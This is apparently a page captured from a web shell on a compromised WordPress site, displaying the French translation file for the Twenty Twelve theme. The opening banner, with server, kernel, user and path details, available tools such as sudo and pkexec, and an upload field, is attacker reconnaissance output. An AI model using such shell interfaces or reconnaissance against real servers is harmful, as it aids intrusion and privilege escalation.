| Server IP : 188.114.97.2 / Your IP : 104.23.243.201 Web Server : Apache/2.4.59 (Debian) System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : edlftp ( 1002) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/languages/themes/ |
Upload File : |
# Translation of Twenty Twelve in French (France) # This file is distributed under the same license as the Twenty Twelve package. msgid "" msgstr "" "PO-Revision-Date: 2015-03-26 15:08:23+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: GlotPress/1.0-alpha-1000\n" "Project-Id-Version: Twenty Twelve\n" #: tag.php:21 msgid "Tag Archives: %s" msgstr "Archives du mot-clé %s" #: search.php:38 msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." msgstr "Désolé, mais rien ne correspond à votre critère de recherche. Veuillez réessayer avec d’autres mots-clés." #: image.php:42 msgid "Next →" msgstr "Suivant →" #: search.php:18 msgid "Search Results for: %s" msgstr "Résultats de recherche pour %s" #. Theme Name of the plugin/theme msgid "Twenty Twelve" msgstr "Twenty Twelve" #. Author of the plugin/theme msgid "the WordPress team" msgstr "L’équipe WordPress" #: index.php:42 msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>." msgstr "Prêt à publier votre premier article ? <a href=\"%s\">Lancez-vous</a> !" #: index.php:38 msgid "No posts to display" msgstr "Aucun article à afficher" #. Template Name of the plugin/theme msgid "Front Page Template" msgstr "Modèle de Page d’Accueil" #: single.php:21 msgctxt "Previous post link" msgid "←" msgstr "←" #: single.php:22 msgctxt "Next post link" msgid "→" msgstr "→" #. Template Name of the plugin/theme msgid "Full-width Page Template, No Sidebar" msgstr "Modèle de page pleine largeur, sans barre latérale" #. Description of the plugin/theme msgid "The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background." msgstr "Le thème 2012 de WordPress est un thème conçu pour s’afficher de la meilleure manière sur n’importe quelle taille d’écran. Parmi ses fonctionnalités se trouvent un modèle de page d’accueil avec ses propres widgets, une police d’affichage optionnelle, un design pour les formats d’article à la fois sur l’index et en vue individuelle, et un modèle facultatif sans barre latérale. Vous pouvez le faire vôtre avec un menu personnalisé, une image d’en-tête, et un fond d’écran." #. Theme URI of the plugin/theme msgid "http://wordpress.org/themes/twentytwelve" msgstr "http://wordpress.org/themes/twentytwelve" #: footer.php:16 msgid "Semantic Personal Publishing Platform" msgstr "Plate-forme de publication personnelle à la pointe de la sémantique" #: content.php:66 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Afficher tous les articles de %s <span class=\"meta-nav\">→</span>" #: 404.php:17 msgid "This is somewhat embarrassing, isn’t it?" msgstr "C’est plutôt gênant, vous ne trouvez pas ?" #: content-page.php:21 content.php:45 image.php:102 msgid "Pages:" msgstr "Pages :" #: comments.php:43 msgid "← Older Comments" msgstr "← Commentaire plus ancien" #. Translators: used between list items, there is a space after the comma. #: functions.php:370 functions.php:373 msgid ", " msgstr ", " #: comments.php:42 msgid "Comment navigation" msgstr "Navigation des commentaires" #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "Leave a reply" msgstr "Laisser une réponse" #. #-#-#-#-# twentytwelve.pot (Twenty Twelve 1.6) #-#-#-#-# #. Author URI of the plugin/theme #: footer.php:16 msgid "http://wordpress.org/" msgstr "http://wordpress.org/" #: content-none.php:13 index.php:49 search.php:34 msgid "Nothing Found" msgstr "Rien n’a été trouvé" #: author.php:32 msgid "Author Archives: %s" msgstr "Archives de l’auteur : %s" #: archive.php:29 msgid "Daily Archives: %s" msgstr "Archives quotidiennes :" #: archive.php:31 msgid "Monthly Archives: %s" msgstr "Archives mensuelles : %s" #: content-aside.php:15 content-image.php:13 content-link.php:14 #: content-quote.php:13 content-status.php:31 content.php:44 msgid "Continue reading <span class=\"meta-nav\">→</span>" msgstr "Lire la suite <span class=\"meta-nav\">→</span>" #: archive.php:33 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: category.php:21 msgid "Category Archives: %s" msgstr "Archives pour la catégorie %s" #: archive.php:33 msgid "Yearly Archives: %s" msgstr "Archives annuelles : %s" #: archive.php:31 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: comments.php:31 msgid "One thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "Une réflexion au sujet de « %2$s »" msgstr[1] "%1$s réflexions au sujet de « %2$s »" #: author.php:63 content.php:62 msgid "About %s" msgstr "A propos %s" #: comments.php:53 msgid "Comments are closed." msgstr "Les commentaires sont fermés." #: content-aside.php:26 content-image.php:26 content-link.php:24 #: content-page.php:24 content-quote.php:23 content-status.php:40 #: content.php:51 functions.php:345 image.php:37 msgid "Edit" msgstr "Modifier" #: comments.php:44 msgid "Newer Comments →" msgstr "Commentaires plus récents →" #: footer.php:16 msgid "Proudly powered by %s" msgstr "Fièrement propulsé par %s" #: functions.php:64 msgid "Primary Menu" msgstr "Menu principal" #: functions.php:288 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Articles plus récents <span class=\"meta-nav\">→</span>" #: functions.php:313 msgid "Pingback:" msgstr "Ping :" #: functions.php:242 msgid "Main Sidebar" msgstr "Colonne principale" #: functions.php:286 single.php:20 msgid "Post navigation" msgstr "Navigation des articles" #: functions.php:287 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Articles plus anciens" #: content-aside.php:20 content-link.php:18 content-quote.php:17 #: content-status.php:15 msgid "Permalink to %s" msgstr "Permalien vers %s" #: functions.php:340 msgid "Your comment is awaiting moderation." msgstr "Votre commentaire est en attente de validation." #. translators: 1: date, 2: time #: functions.php:334 msgid "%1$s at %2$s" msgstr "%1$s à %2$s" #: archive.php:35 msgid "Archives" msgstr "Archives" #: image.php:41 msgid "← Previous" msgstr "← Précédent" #: functions.php:384 msgid "View all posts by %s" msgstr "Afficher tous les articles par %s" #: header.php:44 msgid "Skip to content" msgstr "Aller au contenu principal" #: header.php:43 msgid "Menu" msgstr "Menu" #: functions.php:313 msgid "(Edit)" msgstr "(Modifier)" #: functions.php:328 msgid "Post author" msgstr "Auteur de l’article" #: content-link.php:12 msgid "Link" msgstr "Lien" #: content-none.php:17 index.php:53 msgid "Apologies, but no results were found. Perhaps searching will help find a related post." msgstr "Toutes nos excuses, mais votre requête n’a donné aucun résultat. Peut-être qu’une recherche peut vous indiquer un article lié." #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "% Replies" msgstr "% réponses" #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "1 Reply" msgstr "1 réponse" #: functions.php:213 msgid "Page %s" msgstr "Page %s" #: 404.php:21 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Il semblerait que nous ne soyons pas en mesure de trouver votre contenu. Essayez en lançant une recherche." #: content.php:16 msgid "Featured post" msgstr "Article mis en avant" #: functions.php:262 msgid "Second Front Page Widget Area" msgstr "Seconde zone de la Page d’Accueil" #: functions.php:254 functions.php:264 msgid "Appears when using the optional Front Page template with a page set as Static Front Page" msgstr "Apparaît lorsque vous utilisez le modèle facultatif Page d’Accueil avec une page configurée en Page d’Accueil Statique." #: functions.php:252 msgid "First Front Page Widget Area" msgstr "Première zone de la Page d’Accueil" #. translators: To add an additional Open Sans character subset specific to #. your language, translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not #. translate into your own language. #: functions.php:107 msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)" msgid "no-subset" msgstr "no-subset " #: functions.php:244 msgid "Appears on posts and pages except the optional Front Page template, which has its own widgets" msgstr "Apparaît sur les articles et les pages, sauf le modèle facultatif Page d’Accueil, qui dispose de ses propres widgets." #: functions.php:394 msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Cette entrée a été publiée le %3$s <span class=\"by-author\">par %4$s</span>." #: functions.php:392 msgid "This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Cette entrée a été publiée dans %1$s le %3$s <span class=\"by-author\">par %4$s</span>." #. Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's #. name. #: functions.php:390 msgid "This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "Cette entrée a été publiée dans %1$s, et marquée avec %2$s, le %3$s <span class=\"by-author\">par %4$s</span>." #. translators: If there are characters in your language that are not supported #. by Open Sans, translate this to 'off'. Do not translate into your own #. language. #: functions.php:101 msgctxt "Open Sans font: on or off" msgid "on" msgstr "on" #: functions.php:349 msgid "Reply" msgstr "Répondre" #: image.php:26 msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s × %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>." msgstr "<span class=\"meta-prep meta-prep-entry-date\">Publié le </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> à <a href=\"%3$s\" title=\"Lien vers l'image en taille originale\">%4$s × %5$s</a> dans <a href=\"%6$s\" title=\"Revenir à %7$s\" rel=\"gallery\">%8$s</a>."